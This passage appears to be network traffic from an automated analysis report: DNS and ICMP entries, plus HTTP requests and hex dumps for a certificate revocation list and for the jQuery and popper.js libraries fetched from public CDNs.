Apr 17, 2025 15:23:14.238708019 CEST	53	59131	1.1.1.1	192.168.2.5
Apr 17, 2025 15:23:59.969877958 CEST	53	54048	1.1.1.1	192.168.2.5

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 17, 2025 15:21:49.916666985 CEST	192.168.2.5	1.1.1.1	c23a	(Port unreachable)	Destination Unreachable
Apr 17, 2025 15:22:03.189013958 CEST	192.168.2.5	1.1.1.1	c2c5	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Apr 17, 2025 15:21:44.076587915 CEST	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 17, 2025 15:21:44.183403969 CEST	1243	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 530 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 17 Apr 2025 12:37:41 GMT Expires: Thu, 17 Apr 2025 13:27:41 GMT Cache-Control: public, max-age=3000 Age: 2643 Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 02 0e 30 82 01 93 02 01 01 30 0a 06 08 2a 86 48 ce 3d 04 03 03 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 34 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 17 0d 32 36 30 32 32 38 30 37 35 39 35 39 5a 30 81 e9 30 2f 02 10 6e 47 a9 ce 4f 46 c2 3d e2 49 ea cc 38 94 53 73 17 0d 31 39 30 39 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 f0 9c 5b 70 05 a6 dc 86 e2 f9 9e f3 17 0d 32 30 30 31 33 31 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 fe a5 81 44 7e 3b fd 3b b8 1c 24 98 17 0d 32 33 30 36 31 33 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 16 68 25 e1 70 04 40 61 24 91 f5 40 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 00 8e b2 58 e7 b5 94 0c 1f f9 00 44 17 0d 32 35 30 [TRUNCATED] Data Ascii: 000H=0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R4250403080000Z260228075959Z00/nGOF=I8Ss190930000000Z00U0,[p200131000000Z00U0,D~;;$230613000000Z00U0,h%p@a$@250403080000Z00U0,XD250403080000Z00U/0-0U0U#0LtI6>j0H=i0f1>2en:IN@g=;bQZ~`NX1?^4y[$\4{;$zDeU6O

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:21:50 UTC	609	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:21:50 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 800847 Date: Thu, 17 Apr 2025 13:21:50 GMT X-Served-By: cache-lga21984-LGA, cache-pdk-kfty8610030-PDK X-Cache: HIT, HIT X-Cache-Hits: 182, 0 X-Timer: S1744896110.251609,VS0,VE1 Vary: Accept-Encoding
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2025-04-17 13:21:50 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Timestamp	Bytes transferred	Direction	Data
2025-04-17 13:21:50 UTC	634	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: null sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 13:21:50 UTC	959	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 13:21:50 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Cf-Ray: 931c3a515e89b007-ATL Server: cloudflare Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 Etag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT Cf-Cdnjs-Via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff Cf-Cache-Status: HIT Age: 18142 Expires: Tue, 07 Apr 2026 13:21:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LdtHP3PvbnUHJMt1Wr0on1AqVIgiITkPUihq%2F51e4TgypdEA4YyfkUvdMEgo%2BwqBsxOHv3LDuum8RkKPqJtAsijml%2FlUlCqzSrFKsRD%2Fsde9GbPJ5AzR1mD3huXA2owYAnw7jaMV"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 alt-svc: h3=":443"; ma=86400
2025-04-17 13:21:50 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2025-04-17 13:21:50 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: 